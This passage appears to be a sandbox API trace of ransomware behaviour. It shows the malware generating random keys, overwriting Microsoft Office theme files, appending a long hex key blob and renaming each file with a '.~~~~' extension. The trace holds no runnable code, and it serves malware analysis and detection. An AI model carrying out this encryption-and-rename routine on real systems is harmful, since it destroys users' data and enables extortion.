	[0121.893] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.893] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.893] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.893] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.893] CloseHandle (hObject=0x138) returned 1
	[0121.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.~~~~")) returned 1
	[0121.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.895] GetLastError () returned 0x0
	[0121.896] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.897] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.897] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.898] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24188775177) returned 1
	[0121.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb220bcd0, dwHighDateTime=0x1d60e1e)) 
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7c00
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7c00 | out: hHeap=0x300000) returned 1
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.898] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.899] GetLastError () returned 0x0
	[0121.899] GetLastError () returned 0x0
	[0121.899] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.899] GetLastError () returned 0x0
	[0121.899] GetLastError () returned 0x0
	[0121.942] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.942] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3a0, lpOverlapped=0x0) returned 1
	[0121.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.943] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.943] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.943] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.943] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.943] CloseHandle (hObject=0x138) returned 1
	[0121.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0121.944] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.~~~~")) returned 1
	[0121.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0121.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.987] GetLastError () returned 0x0
	[0121.988] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.990] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24197999021) returned 1
	[0121.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb22f0510, dwHighDateTime=0x1d60e1e)) 
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7a78
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7a78 | out: hHeap=0x300000) returned 1
	[0121.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0121.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0121.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.991] GetLastError () returned 0x0
	[0121.991] GetLastError () returned 0x0
	[0121.991] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.991] GetLastError () returned 0x0
	[0121.992] GetLastError () returned 0x0
	[0122.007] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.007] WriteFile (in: hFile=0x138, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x3c0, lpOverlapped=0x0) returned 1
	[0122.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.008] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.008] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.009] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.009] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.009] CloseHandle (hObject=0x138) returned 1
	[0122.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0122.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.~~~~")) returned 1
	[0122.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0122.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.011] GetLastError () returned 0x0
	[0122.012] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.014] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.014] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.014] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24200439190) returned 1
	[0122.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2316670, dwHighDateTime=0x1d60e1e)) 
	[0122.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7a08
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7a08 | out: hHeap=0x300000) returned 1
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0122.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0122.015] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.016] GetLastError () returned 0x0
	[0122.136] GetLastError () returned 0x0
	[0122.145] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.145] GetLastError () returned 0x0
	[0122.152] GetLastError () returned 0x0
	[0122.163] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.163] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c4, lpOverlapped=0x0) returned 1
	[0122.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.164] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.165] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.165] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.165] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.165] CloseHandle (hObject=0x138) returned 1
	[0122.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.~~~~")) returned 1
	[0122.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.166] GetLastError () returned 0x0
	[0122.167] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.168] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.168] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.168] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24215838603) returned 1
	[0122.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2493430, dwHighDateTime=0x1d60e1e)) 
	[0122.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e958
	[0122.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e958 | out: hHeap=0x300000) returned 1
	[0122.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.169] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.169] GetLastError () returned 0x0
	[0122.169] GetLastError () returned 0x0
	[0122.169] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.169] GetLastError () returned 0x0
	[0122.169] GetLastError () returned 0x0
	[0122.171] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.172] WriteFile (in: hFile=0x138, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x24dfec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0122.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.173] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.173] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.173] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.173] CloseHandle (hObject=0x138) returned 1
	[0122.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38ff28
	[0122.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.~~~~")) returned 1
	[0122.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ff28 | out: hHeap=0x300000) returned 1
	[0122.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.175] GetLastError () returned 0x0
	[0122.175] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.176] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.177] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.177] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24216690365) returned 1
	[0122.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb24b9590, dwHighDateTime=0x1d60e1e)) 
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e990
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e990 | out: hHeap=0x300000) returned 1
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.178] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.178] GetLastError () returned 0x0
	[0122.178] GetLastError () returned 0x0
	[0122.178] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.178] GetLastError () returned 0x0
	[0122.178] GetLastError () returned 0x0
	[0122.180] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
